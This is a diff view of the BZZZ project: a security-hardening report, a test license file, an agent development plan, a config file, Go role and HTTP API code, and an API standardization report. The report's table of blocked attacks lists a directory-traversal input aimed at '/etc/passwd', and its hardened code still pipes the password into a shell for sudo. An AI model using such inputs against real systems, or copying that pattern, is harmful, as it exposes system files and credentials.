| Directory traversal | `../../etc/passwd` | ✅ Blocked |
| Buffer overflow | 1000+ byte inputs | ✅ Blocked |
| Port conflicts | Multiple services on same port | ✅ Blocked |
**Test Coverage:** 25+ attack vectors tested with 100% blocking rate.
## Deployment Security Improvements
### Enhanced SSH Connection Handling
**Before:**
```go
// Hardcoded password authentication only
sshConfig := &ssh.ClientConfig{
User: username,
Auth: []ssh.AuthMethod{ssh.Password(password)},
}
```
**After:**
```go
// Flexible authentication with validation
if err := s.validator.ValidateSSHConnectionRequest(ip, username, password, privateKey, port); err != nil {
return SecurityValidationError(err)
}
// ... proper key parsing and fallback auth methods
```
### Command Injection Prevention
**Before:**
```bash
echo 'userpassword' | sudo -S systemctl start service
# Vulnerable if password contains shell metacharacters
```
**After:**
```go
safePassword := s.validator.SanitizeForCommand(password)
if safePassword != password {
return fmt.Errorf("password contains unsafe characters")
}
sudoCommand := fmt.Sprintf("echo '%s' | sudo -S %s",
strings.ReplaceAll(safePassword, "'", "'\"'\"'"), command)
```
## Real-World Impact
### Customer Deployment Security
The BZZZ deployment system is designed for "install-once replicate-many" scenarios where customers deploy to their infrastructure. Without proper security:
❌ **Risk:** Malicious input during setup could compromise customer servers
❌ **Risk:** Injection attacks could lead to data theft or system takeover
❌ **Risk:** Buffer overflows could cause denial of service
✅ **Protected:** All user input validated and sanitized before system execution
✅ **Protected:** SSH authentication supports both keys and passwords securely
✅ **Protected:** Deployment process provides detailed error reporting without exposing attack vectors
## Compliance & Standards
The implementation follows security best practices including:
- **OWASP Top 10** - Prevents injection attacks (#1 web application risk)
- **CWE-78** - OS Command Injection prevention
- **CWE-120** - Buffer overflow prevention
- **Zero Trust Architecture** - All input treated as untrusted until validated
## Monitoring & Logging
Security events are logged with detailed information:
- Failed validation attempts with reasons
- Authentication failures with specific error types
- Command sanitization events
- System deployment progress with verification steps
## Recommendations
1. **Regular Security Testing** - Run attack vector tests as part of CI/CD
2. **Input Validation Updates** - Extend validation as new input fields are added
3. **Security Audits** - Periodic review of validation rules and sanitization logic
4. **Customer Education** - Provide security guidelines for SSH key management
## Conclusion
The comprehensive security implementation transforms BZZZ from a development tool into a production-ready deployment system suitable for customer environments. The zero-trust approach ensures that even if attackers attempt injection attacks through the web UI or API endpoints, they cannot compromise target systems.
**Key Metrics:**
- 🛡️ **25+ attack vectors** blocked
- 🔒 **100% input validation** coverage
- ⚡ **Zero performance impact** on legitimate usage
- 📊 **Detailed security logging** for monitoring
The deployment system now provides the "technical elegance and precision" required for customer-facing infrastructure while maintaining robust security posture.

23
TEST_LICENSE_KEY.txt
View File

@@ -1,23 +0,0 @@
# CHORUS Test License Key
#
# Email: test@chorus.services
# License Key: BZZZ-2025-DEMO-EVAL-001
# Organization: Test Organization (Optional)
#
# This is a test license for CHORUS BZZZ development and testing.
# Valid for all testing scenarios and local development.
#
# Usage:
# 1. Go to http://walnut:8090 (or your BZZZ setup URL)
# 2. Navigate to License Validation step
# 3. Enter:
# Email: test@chorus.services
# License Key: BZZZ-2025-DEMO-EVAL-001
# Organization: Test Organization (optional)
# 4. Click Validate License
#
# This should pass validation and allow you to continue setup.
EMAIL=test@chorus.services
LICENSE_KEY=BZZZ-2025-DEMO-EVAL-001
ORGANIZATION=Test Organization

87
UNIFIED_DEVELOPMENT_PLAN.md Normal file
View File

@@ -0,0 +1,87 @@
# Project Bzzz & Antennae: Integrated Development Plan
## 1. Unified Vision
This document outlines a unified development plan for **Project Bzzz** and its integrated meta-discussion layer, **Project Antennae**. The vision is to build a decentralized task execution network where autonomous agents can not only **act** but also **reason and collaborate** before acting.
- **Bzzz** provides the core P2P execution fabric (task claiming, execution, results).
- **Antennae** provides the collaborative "social brain" (task clarification, debate, knowledge sharing).
By developing them together, we create a system that is both resilient and intelligent.
---
## 2. Core Architecture
The combined architecture remains consistent with the principles of decentralization, leveraging a unified tech stack.
| Component | Technology | Purpose |
| :--- | :--- | :--- |
| **Networking** | **libp2p** | Peer discovery, identity, and secure P2P communication. |
| **Task Management** | **GitHub Issues** | The single source of truth for task definition and atomic allocation via assignment. |
| **Messaging** | **libp2p Pub/Sub** | Used for both `bzzz` (capabilities) and `antennae` (meta-discussion) topics. |
| **Logging** | **Hypercore Protocol** | A single, tamper-proof log stream per agent will store both execution logs (Bzzz) and discussion transcripts (Antennae). |
---
## 3. Key Features & Refinements
### 3.1. Task Lifecycle with Meta-Discussion
The agent's task lifecycle will be enhanced to include a reasoning step:
1. **Discover & Claim:** An agent discovers an unassigned GitHub issue and claims it by assigning itself.
2. **Open Meta-Channel:** The agent immediately joins a dedicated pub/sub topic: `bzzz/meta/issue/{id}`.
3. **Propose Plan:** The agent posts its proposed plan of action to the channel. *e.g., "I will address this by modifying `file.py` and adding a new function `x()`."*
4. **Listen & Discuss:** The agent waits for a brief "objection period" (e.g., 30 seconds). Other agents can chime in with suggestions, corrections, or questions. This is the core loop of the Antennae layer.
5. **Execute:** If no major objections are raised, the agent proceeds with its plan.
6. **Report:** The agent creates a Pull Request. The PR description will include a link to the Hypercore log containing the full transcript of the pre-execution discussion.
### 3.2. Safeguards and Structured Messaging
- **Combined Safeguards:** Hop limits, participant caps, and TTLs will apply to all meta-discussions to prevent runaway conversations.
- **Structured Messages:** To improve machine comprehension, `meta_msg` payloads will be structured.
```json
{
"type": "meta_msg",
"issue_id": 42,
"node_id": "bzzz-07",
"msg_id": "abc123",
"parent_id": null,
"hop_count": 1,
"content": {
"query_type": "clarification_needed",
"text": "What is the expected output format?",
"parameters": { "field": "output_format" }
}
}
```
### 3.3. Human Escalation Path
- A dedicated pub/sub topic (`bzzz/meta/escalation`) will be used to flag discussions requiring human intervention.
- An N8N workflow will monitor this topic and create alerts in a designated Slack channel or project management tool.
---
## 4. Integrated Development Milestones
This 8-week plan merges the development of both projects into a single, cohesive timeline.
| Week | Core Deliverable | Key Features & Integration Points |
| :--- | :--- | :--- |
| **1** | **P2P Foundation & Logging** | Establish the core agent identity and a unified **Hypercore log stream** for both action and discussion events. |
| **2** | **Capability Broadcasting** | Agents broadcast capabilities, including which reasoning models they have available (e.g., `claude-3-opus`). |
| **3** | **GitHub Task Claiming & Channel Creation** | Implement assignment-based task claiming. Upon claim, the agent **creates and subscribes to the meta-discussion channel**. |
| **4** | **Pre-Execution Discussion** | Implement the "propose plan" and "listen for objections" logic. This is the first functional version of the Antennae layer. |
| **5** | **Result Workflow with Logging** | Implement PR creation. The PR body **must link to the Hypercore discussion log**. |
| **6** | **Full Collaborative Help** | Implement the full `task_help_request` and `meta_msg` response flow, respecting all safeguards (hop limits, TTLs). |
| **7** | **Unified Monitoring** | The Mesh Visualizer dashboard will display agent status, execution logs, and **live meta-discussion transcripts**. |
| **8** | **End-to-End Scenario Testing** | Conduct comprehensive tests for combined scenarios: task clarification, collaborative debugging, and successful escalation to a human. |
---
## 5. Conclusion
By integrating Antennae from the outset, we are not just building a distributed task runner; we are building a **distributed reasoning system**. This approach will lead to a more robust, intelligent, and auditable Hive, where agents think and collaborate before they act.

1
VERSION
View File

@@ -1 +0,0 @@
1.0.8

137
acacia-test-config.yaml
View File

@@ -1,137 +0,0 @@
# BZZZ Configuration for 192-168-1-72
whoosh_api:
base_url: "https://whoosh.home.deepblack.cloud"
api_key: ""
timeout: 30s
retry_count: 3
agent:
id: "192-168-1-72-agent"
capabilities: ["general"]
poll_interval: 30s
max_tasks: 2
models: []
specialization: ""
model_selection_webhook: ""
default_reasoning_model: ""
sandbox_image: ""
role: ""
system_prompt: ""
reports_to: []
expertise: []
deliverables: []
collaboration:
preferred_message_types: []
auto_subscribe_to_roles: []
auto_subscribe_to_expertise: []
response_timeout_seconds: 0
max_collaboration_depth: 0
escalation_threshold: 0
custom_topic_subscriptions: []
github:
token_file: ""
user_agent: "BZZZ-Agent/1.0"
timeout: 30s
rate_limit: true
assignee: ""
p2p:
service_tag: "bzzz-peer-discovery"
bzzz_topic: "bzzz/coordination/v1"
hmmm_topic: "hmmm/meta-discussion/v1"
discovery_timeout: 10s
escalation_webhook: ""
escalation_keywords: []
conversation_limit: 10
logging:
level: "info"
format: "text"
output: "stdout"
structured: false
slurp:
enabled: false
base_url: ""
api_key: ""
timeout: 30s
retry_count: 3
max_concurrent_requests: 10
request_queue_size: 100
v2:
enabled: false
protocol_version: "2.0.0"
uri_resolution:
cache_ttl: 5m0s
max_peers_per_result: 5
default_strategy: "best_match"
resolution_timeout: 30s
dht:
enabled: false
bootstrap_peers: []
mode: "auto"
protocol_prefix: "/bzzz"
bootstrap_timeout: 30s
discovery_interval: 1m0s
auto_bootstrap: false
semantic_addressing:
enable_wildcards: true
default_agent: "any"
default_role: "any"
default_project: "any"
enable_role_hierarchy: true
feature_flags:
uri_protocol: false
semantic_addressing: false
dht_discovery: false
advanced_resolution: false
ucxl:
enabled: false
server:
port: 8081
base_path: "/bzzz"
enabled: false
resolution:
cache_ttl: 5m0s
enable_wildcards: true
max_results: 50
storage:
type: "filesystem"
directory: "/tmp/bzzz-ucxl-storage"
max_size: 104857600
p2p_integration:
enable_announcement: false
enable_discovery: false
announcement_topic: "bzzz/ucxl/announcement/v1"
discovery_timeout: 30s
security:
admin_key_shares:
threshold: 3
total_shares: 5
election_config:
heartbeat_timeout: 5s
discovery_timeout: 30s
election_timeout: 15s
max_discovery_attempts: 6
discovery_backoff: 5s
minimum_quorum: 3
consensus_algorithm: "raft"
split_brain_detection: true
conflict_resolution: "highest_uptime"
key_rotation_days: 90
audit_logging: false
audit_path: ""
ai:
ollama:
endpoint: ""
timeout: 30s
models: []
openai:
api_key: ""
endpoint: "https://api.openai.com/v1"
timeout: 30s

495
agent/role_config.go
View File

@@ -1,495 +0,0 @@
package agent
import (
"fmt"
"path/filepath"
"strings"
"sync"
)
// AgentRole represents different agent roles in the system
type AgentRole string
const (
BackendRole AgentRole = "backend"
FrontendRole AgentRole = "frontend"
DevOpsRole AgentRole = "devops"
QARole AgentRole = "qa"
TestingRole AgentRole = "testing"
GeneralRole AgentRole = "general"
)
// RoleCapability represents capabilities of an agent role
type RoleCapability struct {
Name string
Description string
Weight float64
}
// DirectoryScope represents directory patterns for context filtering
type DirectoryScope struct {
Patterns []string
Description string
}
// RoleConfig holds configuration for an agent role
type RoleConfig struct {
Role AgentRole
DisplayName string
Description string
Capabilities []RoleCapability
DirectoryScopes DirectoryScope
TaskTypes []string
Priority int
// Context filtering parameters
ContextWeight float64
FeedbackWeight float64
LearningRate float64
}
// RoleManager manages agent roles and their configurations
type RoleManager struct {
roles map[AgentRole]*RoleConfig
agentRoles map[string]AgentRole // Maps agent ID to role
mu sync.RWMutex
}
// NewRoleManager creates a new role manager with default configurations
func NewRoleManager() *RoleManager {
rm := &RoleManager{
roles: make(map[AgentRole]*RoleConfig),
agentRoles: make(map[string]AgentRole),
}
rm.initializeDefaultRoles()
return rm
}
// initializeDefaultRoles sets up default role configurations
func (rm *RoleManager) initializeDefaultRoles() {
// Backend role configuration
rm.roles[BackendRole] = &RoleConfig{
Role: BackendRole,
DisplayName: "Backend Developer",
Description: "Specializes in server-side development, APIs, databases, and backend services",
Capabilities: []RoleCapability{
{Name: "api_development", Description: "REST/GraphQL API development", Weight: 1.0},
{Name: "database_design", Description: "Database schema and query optimization", Weight: 0.9},
{Name: "server_architecture", Description: "Server architecture and microservices", Weight: 0.9},
{Name: "authentication", Description: "Authentication and authorization systems", Weight: 0.8},
{Name: "caching", Description: "Caching strategies and implementation", Weight: 0.8},
},
DirectoryScopes: DirectoryScope{
Patterns: []string{
"*/backend/*",
"*/api/*",
"*/services/*",
"*/server/*",
"*/core/*",
"*/models/*",
"*/controllers/*",
"*/middleware/*",
},
Description: "Backend-related directories and server-side code",
},
TaskTypes: []string{
"api_development",
"database_migration",
"backend_optimization",
"server_configuration",
"authentication_setup",
},
Priority: 5,
ContextWeight: 1.0,
FeedbackWeight: 0.3,
LearningRate: 0.1,
}
// Frontend role configuration
rm.roles[FrontendRole] = &RoleConfig{
Role: FrontendRole,
DisplayName: "Frontend Developer",
Description: "Specializes in user interfaces, client-side logic, and user experience",
Capabilities: []RoleCapability{
{Name: "ui_development", Description: "User interface development", Weight: 1.0},
{Name: "responsive_design", Description: "Responsive and mobile-first design", Weight: 0.9},
{Name: "state_management", Description: "Client-side state management", Weight: 0.8},
{Name: "component_architecture", Description: "Component-based architecture", Weight: 0.9},
{Name: "accessibility", Description: "Web accessibility implementation", Weight: 0.7},
},
DirectoryScopes: DirectoryScope{
Patterns: []string{
"*/frontend/*",
"*/ui/*",
"*/client/*",
"*/web/*",
"*/components/*",
"*/pages/*",
"*/styles/*",
"*/assets/*",
},
Description: "Frontend-related directories and client-side code",
},
TaskTypes: []string{
"ui_implementation",
"component_development",
"responsive_design",
"frontend_optimization",
"user_experience",
},
Priority: 4,
ContextWeight: 0.8,
FeedbackWeight: 0.3,
LearningRate: 0.1,
}
// DevOps role configuration
rm.roles[DevOpsRole] = &RoleConfig{
Role: DevOpsRole,
DisplayName: "DevOps Engineer",
Description: "Specializes in deployment, infrastructure, CI/CD, and system operations",
Capabilities: []RoleCapability{
{Name: "infrastructure", Description: "Infrastructure as Code", Weight: 1.0},
{Name: "containerization", Description: "Docker and container orchestration", Weight: 0.9},
{Name: "ci_cd", Description: "Continuous Integration/Deployment", Weight: 0.9},
{Name: "monitoring", Description: "System monitoring and alerting", Weight: 0.8},
{Name: "security", Description: "Security and compliance", Weight: 0.8},
},
DirectoryScopes: DirectoryScope{
Patterns: []string{
"*/deploy/*",
"*/config/*",
"*/docker/*",
"*/k8s/*",
"*/kubernetes/*",
"*/infrastructure/*",
"*/scripts/*",
"*/ci/*",
"*.yml",
"*.yaml",
"Dockerfile*",
"docker-compose*",
},
Description: "DevOps-related configuration and deployment files",
},
TaskTypes: []string{
"deployment",
"infrastructure_setup",
"ci_cd_pipeline",
"system_monitoring",
"security_configuration",
},
Priority: 5,
ContextWeight: 1.0,
FeedbackWeight: 0.4,
LearningRate: 0.1,
}
// QA role configuration
rm.roles[QARole] = &RoleConfig{
Role: QARole,
DisplayName: "Quality Assurance",
Description: "Specializes in quality assurance, code review, and process improvement",
Capabilities: []RoleCapability{
{Name: "code_review", Description: "Code review and quality assessment", Weight: 1.0},
{Name: "process_improvement", Description: "Development process improvement", Weight: 0.9},
{Name: "quality_metrics", Description: "Quality metrics and reporting", Weight: 0.8},
{Name: "best_practices", Description: "Best practices enforcement", Weight: 0.9},
{Name: "documentation", Description: "Documentation quality assurance", Weight: 0.7},
},
DirectoryScopes: DirectoryScope{
Patterns: []string{
"*/tests/*",
"*/quality/*",
"*/review/*",
"*/docs/*",
"*/documentation/*",
"*", // QA role gets broader access for review purposes
},
Description: "All directories for quality assurance and code review",
},
TaskTypes: []string{
"code_review",
"quality_assessment",
"process_improvement",
"documentation_review",
"compliance_check",
},
Priority: 4,
ContextWeight: 0.7,
FeedbackWeight: 0.5,
LearningRate: 0.2,
}
// Testing role configuration
rm.roles[TestingRole] = &RoleConfig{
Role: TestingRole,
DisplayName: "Test Engineer",
Description: "Specializes in automated testing, test frameworks, and test strategy",
Capabilities: []RoleCapability{
{Name: "unit_testing", Description: "Unit test development", Weight: 1.0},
{Name: "integration_testing", Description: "Integration test development", Weight: 0.9},
{Name: "e2e_testing", Description: "End-to-end test automation", Weight: 0.9},
{Name: "test_frameworks", Description: "Test framework setup and maintenance", Weight: 0.8},
{Name: "performance_testing", Description: "Performance and load testing", Weight: 0.7},
},
DirectoryScopes: DirectoryScope{
Patterns: []string{
"*/tests/*",
"*/spec/*",
"*/test/*",
"*/e2e/*",
"*/integration/*",
"*/__tests__/*",
"*.test.*",
"*.spec.*",
},
Description: "Test-related directories and files",
},
TaskTypes: []string{
"unit_testing",
"integration_testing",
"e2e_testing",
"test_automation",
"performance_testing",
},
Priority: 4,
ContextWeight: 0.6,
FeedbackWeight: 0.4,
LearningRate: 0.15,
}
// General role configuration
rm.roles[GeneralRole] = &RoleConfig{
Role: GeneralRole,
DisplayName: "General Developer",
Description: "General-purpose development with broad capabilities",
Capabilities: []RoleCapability{
{Name: "general_development", Description: "General software development", Weight: 0.7},
{Name: "problem_solving", Description: "General problem solving", Weight: 0.8},
{Name: "documentation", Description: "Documentation writing", Weight: 0.6},
{Name: "code_maintenance", Description: "Code maintenance and refactoring", Weight: 0.7},
{Name: "research", Description: "Technical research and analysis", Weight: 0.8},
},
DirectoryScopes: DirectoryScope{
Patterns: []string{
"*", // General role has access to all directories
},
Description: "All directories for general development tasks",
},
TaskTypes: []string{
"general_development",
"documentation",
"code_maintenance",
"research",
"bug_fixes",
},
Priority: 2,
ContextWeight: 0.5,
FeedbackWeight: 0.2,
LearningRate: 0.1,
}
}
// AssignRole assigns a role to an agent
func (rm *RoleManager) AssignRole(agentID string, role AgentRole) error {
rm.mu.Lock()
defer rm.mu.Unlock()
if _, exists := rm.roles[role]; !exists {
return fmt.Errorf("role %s does not exist", role)
}
rm.agentRoles[agentID] = role
return nil
}
// GetAgentRole returns the role assigned to an agent
func (rm *RoleManager) GetAgentRole(agentID string) (AgentRole, bool) {
rm.mu.RLock()
defer rm.mu.RUnlock()
role, exists := rm.agentRoles[agentID]
return role, exists
}
// GetRoleConfig returns the configuration for a specific role
func (rm *RoleManager) GetRoleConfig(role AgentRole) (*RoleConfig, bool) {
rm.mu.RLock()
defer rm.mu.RUnlock()
config, exists := rm.roles[role]
return config, exists
}
// GetAllRoles returns all available roles
func (rm *RoleManager) GetAllRoles() map[AgentRole]*RoleConfig {
rm.mu.RLock()
defer rm.mu.RUnlock()
result := make(map[AgentRole]*RoleConfig)
for role, config := range rm.roles {
// Create a copy to avoid race conditions
configCopy := *config
result[role] = &configCopy
}
return result
}
// MatchesDirectoryScope checks if a directory path matches the agent's scope
func (rm *RoleManager) MatchesDirectoryScope(agentID, directory string) bool {
role, exists := rm.GetAgentRole(agentID)
if !exists {
return false
}
config, exists := rm.GetRoleConfig(role)
if !exists {
return false
}
return rm.matchesPatterns(directory, config.DirectoryScopes.Patterns)
}
// GetRelevanceScore calculates context relevance score for an agent and directory
func (rm *RoleManager) GetRelevanceScore(agentID, directory string) float64 {
role, exists := rm.GetAgentRole(agentID)
if !exists {
return 0.1 // Low default score
}
config, exists := rm.GetRoleConfig(role)
if !exists {
return 0.1
}
if rm.matchesPatterns(directory, config.DirectoryScopes.Patterns) {
return config.ContextWeight
}
return 0.1 // Low score for non-matching directories
}
// matchesPatterns checks if a directory matches any of the given patterns
func (rm *RoleManager) matchesPatterns(directory string, patterns []string) bool {
if directory == "" {
return false
}
directory = strings.ToLower(directory)
for _, pattern := range patterns {
pattern = strings.ToLower(pattern)
// Handle wildcard patterns
if pattern == "*" {
return true
}
// Handle glob-style patterns
if matched, _ := filepath.Match(pattern, directory); matched {
return true
}
// Handle substring matching for directory paths
if strings.Contains(directory, strings.Trim(pattern, "*")) {
return true
}
}
return false
}
// UpdateRoleWeight updates the context weight for a role (for RL learning)
func (rm *RoleManager) UpdateRoleWeight(role AgentRole, newWeight float64) error {
rm.mu.Lock()
defer rm.mu.Unlock()
config, exists := rm.roles[role]
if !exists {
return fmt.Errorf("role %s does not exist", role)
}
// Clamp weight to reasonable bounds
if newWeight < 0.1 {
newWeight = 0.1
}
if newWeight > 2.0 {
newWeight = 2.0
}
config.ContextWeight = newWeight
return nil
}
// GetAgentsByRole returns all agents assigned to a specific role
func (rm *RoleManager) GetAgentsByRole(role AgentRole) []string {
rm.mu.RLock()
defer rm.mu.RUnlock()
var agents []string
for agentID, agentRole := range rm.agentRoles {
if agentRole == role {
agents = append(agents, agentID)
}
}
return agents
}
// GetCapabilitiesForRole returns capabilities for a specific role
func (rm *RoleManager) GetCapabilitiesForRole(role AgentRole) ([]RoleCapability, bool) {
config, exists := rm.GetRoleConfig(role)
if !exists {
return nil, false
}
return config.Capabilities, true
}
// CanHandleTaskType checks if a role can handle a specific task type
func (rm *RoleManager) CanHandleTaskType(role AgentRole, taskType string) bool {
config, exists := rm.GetRoleConfig(role)
if !exists {
return false
}
for _, supportedType := range config.TaskTypes {
if supportedType == taskType {
return true
}
}
return false
}
// GetBestRoleForDirectory returns the best role for a given directory
func (rm *RoleManager) GetBestRoleForDirectory(directory string) (AgentRole, float64) {
bestRole := GeneralRole
bestScore := 0.0
for role, config := range rm.roles {
if rm.matchesPatterns(directory, config.DirectoryScopes.Patterns) {
score := config.ContextWeight * float64(config.Priority) / 5.0
if score > bestScore {
bestScore = score
bestRole = role
}
}
}
return bestRole, bestScore
}
// String returns string representation of AgentRole
func (ar AgentRole) String() string {
return string(ar)
}
// IsValid checks if the agent role is valid
func (ar AgentRole) IsValid() bool {
switch ar {
case BackendRole, FrontendRole, DevOpsRole, QARole, TestingRole, GeneralRole:
return true
default:
return false
}
}

243
api/http_server.go
View File

@@ -1,243 +0,0 @@
package api
import (
"encoding/json"
"fmt"
"net/http"
"strconv"
"time"
"chorus.services/bzzz/logging"
"chorus.services/bzzz/pubsub"
"github.com/gorilla/mux"
)
// HTTPServer provides HTTP API endpoints for Bzzz
type HTTPServer struct {
port int
hypercoreLog *logging.HypercoreLog
pubsub *pubsub.PubSub
server *http.Server
}
// NewHTTPServer creates a new HTTP server for Bzzz API
func NewHTTPServer(port int, hlog *logging.HypercoreLog, ps *pubsub.PubSub) *HTTPServer {
return &HTTPServer{
port: port,
hypercoreLog: hlog,
pubsub: ps,
}
}
// Start starts the HTTP server
func (h *HTTPServer) Start() error {
router := mux.NewRouter()
// Enable CORS for all routes
router.Use(func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Access-Control-Allow-Origin", "*")
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS")
w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
if r.Method == "OPTIONS" {
w.WriteHeader(http.StatusOK)
return
}
next.ServeHTTP(w, r)
})
})
// API routes
api := router.PathPrefix("/api").Subrouter()
// Hypercore log endpoints
api.HandleFunc("/hypercore/logs", h.handleGetLogs).Methods("GET")
api.HandleFunc("/hypercore/logs/recent", h.handleGetRecentLogs).Methods("GET")
api.HandleFunc("/hypercore/logs/stats", h.handleGetLogStats).Methods("GET")
api.HandleFunc("/hypercore/logs/since/{index}", h.handleGetLogsSince).Methods("GET")
// Health check
api.HandleFunc("/health", h.handleHealth).Methods("GET")
// Status endpoint
api.HandleFunc("/status", h.handleStatus).Methods("GET")
h.server = &http.Server{
Addr: fmt.Sprintf(":%d", h.port),
Handler: router,
ReadTimeout: 15 * time.Second,
WriteTimeout: 15 * time.Second,
IdleTimeout: 60 * time.Second,
}
fmt.Printf("🌐 Starting HTTP API server on port %d\n", h.port)
return h.server.ListenAndServe()
}
// Stop stops the HTTP server
func (h *HTTPServer) Stop() error {
if h.server != nil {
return h.server.Close()
}
return nil
}
// handleGetLogs returns hypercore log entries
func (h *HTTPServer) handleGetLogs(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
// Parse query parameters
query := r.URL.Query()
startStr := query.Get("start")
endStr := query.Get("end")
limitStr := query.Get("limit")
var start, end uint64
var err error
if startStr != "" {
start, err = strconv.ParseUint(startStr, 10, 64)
if err != nil {
http.Error(w, "Invalid start parameter", http.StatusBadRequest)
return
}
}
if endStr != "" {
end, err = strconv.ParseUint(endStr, 10, 64)
if err != nil {
http.Error(w, "Invalid end parameter", http.StatusBadRequest)
return
}
} else {
end = h.hypercoreLog.Length()
}
var limit int = 100 // Default limit
if limitStr != "" {
limit, err = strconv.Atoi(limitStr)
if err != nil || limit <= 0 || limit > 1000 {
limit = 100
}
}
// Get log entries
var entries []logging.LogEntry
if endStr != "" || startStr != "" {
entries, err = h.hypercoreLog.GetRange(start, end)
} else {
entries, err = h.hypercoreLog.GetRecentEntries(limit)
}
if err != nil {
http.Error(w, fmt.Sprintf("Failed to get log entries: %v", err), http.StatusInternalServerError)
return
}
response := map[string]interface{}{
"entries": entries,
"count": len(entries),
"timestamp": time.Now().Unix(),
"total": h.hypercoreLog.Length(),
}
json.NewEncoder(w).Encode(response)
}
// handleGetRecentLogs returns the most recent log entries
func (h *HTTPServer) handleGetRecentLogs(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
// Parse limit parameter
query := r.URL.Query()
limitStr := query.Get("limit")
limit := 50 // Default
if limitStr != "" {
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 && l <= 1000 {
limit = l
}
}
entries, err := h.hypercoreLog.GetRecentEntries(limit)
if err != nil {
http.Error(w, fmt.Sprintf("Failed to get recent entries: %v", err), http.StatusInternalServerError)
return
}
response := map[string]interface{}{
"entries": entries,
"count": len(entries),
"timestamp": time.Now().Unix(),
"total": h.hypercoreLog.Length(),
}
json.NewEncoder(w).Encode(response)
}
// handleGetLogsSince returns log entries since a given index
func (h *HTTPServer) handleGetLogsSince(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
vars := mux.Vars(r)
indexStr := vars["index"]
index, err := strconv.ParseUint(indexStr, 10, 64)
if err != nil {
http.Error(w, "Invalid index parameter", http.StatusBadRequest)
return
}
entries, err := h.hypercoreLog.GetEntriesSince(index)
if err != nil {
http.Error(w, fmt.Sprintf("Failed to get entries since index: %v", err), http.StatusInternalServerError)
return
}
response := map[string]interface{}{
"entries": entries,
"count": len(entries),
"since_index": index,
"timestamp": time.Now().Unix(),
"total": h.hypercoreLog.Length(),
}
json.NewEncoder(w).Encode(response)
}
// handleGetLogStats returns statistics about the hypercore log
func (h *HTTPServer) handleGetLogStats(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
stats := h.hypercoreLog.GetStats()
json.NewEncoder(w).Encode(stats)
}
// handleHealth returns health status
func (h *HTTPServer) handleHealth(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
health := map[string]interface{}{
"status": "healthy",
"timestamp": time.Now().Unix(),
"log_entries": h.hypercoreLog.Length(),
}
json.NewEncoder(w).Encode(health)
}
// handleStatus returns detailed status information
func (h *HTTPServer) handleStatus(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
status := map[string]interface{}{
"status": "running",
"timestamp": time.Now().Unix(),
"hypercore": h.hypercoreLog.GetStats(),
"api_version": "1.0.0",
}
json.NewEncoder(w).Encode(status)
}

2476
api/setup_manager.go
View File

File diff suppressed because it is too large Load Diff

278
archive/API_STANDARDIZATION_COMPLETION_REPORT.md
View File

@@ -1,278 +0,0 @@
# BZZZ API Standardization Completion Report
**Date:** August 28, 2025
**Issues Addressed:** 004, 010
**Version:** UCXI Server v2.1.0
## Executive Summary
The BZZZ project API standardization has been successfully completed with comprehensive enhancements for role-based collaboration and HMMM integration. Issues 004 and 010 have been fully addressed with additional improvements for the new role-based pubsub system.
## Issues Resolved
### ✅ Issue 004: Standardize UCXI Payloads to UCXL Codes
**Status:** **COMPLETE**
**Implementation Details:**
- **UCXL Response Format:** Fully implemented standardized success/error response structures
- **Error Codes:** Complete set of UCXL error codes with HTTP status mapping
- **Request Tracking:** Request ID handling throughout the API stack
- **Validation:** Comprehensive address validation with structured error details
**Key Features:**
- Success responses: `{response: {code, message, data, details, request_id, timestamp}}`
- Error responses: `{error: {code, message, details, source, path, request_id, timestamp, cause}}`
- 20+ standardized UCXL codes (UCXL-200-SUCCESS, UCXL-400-INVALID_ADDRESS, etc.)
- Error chaining support via `cause` field
- Field-level validation error details
### ✅ Issue 010: Status Endpoints and Config Surface
**Status:** **COMPLETE**
**Implementation Details:**
- **Enhanced `/status` endpoint** with comprehensive system information
- **Runtime visibility** into DHT, UCXI, resolver, and storage metrics
- **P2P configuration** exposure and connection status
- **Performance metrics** and operational statistics
**Key Features:**
- Server configuration and runtime status
- Resolver statistics and performance metrics
- Storage operations and cache metrics
- Navigator tracking and temporal state
- P2P connectivity status
- Uptime and performance monitoring
## 🎯 Role-Based Collaboration Extensions
### New Features Added
**1. Enhanced Status Endpoint**
- **Collaboration System Status:** Real-time role-based messaging metrics
- **HMMM Integration Status:** SLURP event processing and consensus session tracking
- **Dynamic Topic Monitoring:** Active role, project, and expertise topics
- **Message Type Tracking:** Full collaboration message type registry
**2. New Collaboration Endpoint: `/ucxi/v1/collaboration`**
**GET /ucxi/v1/collaboration**
- Query active collaboration sessions
- Filter by role, project, or expertise
- View system capabilities and status
- Monitor active collaboration participants
**POST /ucxi/v1/collaboration**
- Initiate collaboration sessions
- Support for 6 collaboration types:
- `expertise_request`: Request expert help
- `mentorship_request`: Request mentoring
- `project_update`: Broadcast project status
- `status_update`: Share agent status
- `work_allocation`: Assign work to roles
- `deliverable_ready`: Announce completions
**3. Extended Error Handling**
New collaboration-specific error codes:
- `UCXL-400-INVALID_ROLE`: Invalid role specification
- `UCXL-404-EXPERTISE_NOT_AVAILABLE`: Requested expertise unavailable
- `UCXL-404-MENTORSHIP_UNAVAILABLE`: No mentors available
- `UCXL-404-PROJECT_NOT_FOUND`: Project not found
- `UCXL-408-COLLABORATION_TIMEOUT`: Collaboration timeout
- `UCXL-500-COLLABORATION_FAILED`: System collaboration failure
## 🧪 Testing & Quality Assurance
### Integration Testing
- **15 comprehensive test cases** covering all new collaboration features
- **Error handling validation** for all new error codes
- **Request/response format verification** for UCXL compliance
- **Backward compatibility testing** with existing API clients
- **Performance benchmarking** for new endpoints
### Test Coverage
```
✅ Collaboration status endpoint functionality
✅ Collaboration initiation and validation
✅ Error handling for invalid requests
✅ Request ID propagation and tracking
✅ Method validation (GET, POST only)
✅ Role-based filtering capabilities
✅ Status endpoint enhancement verification
✅ HMMM integration status reporting
```
## 📊 Status Endpoint Enhancements
The `/status` endpoint now provides comprehensive visibility:
### Server Information
- Port, base path, running status
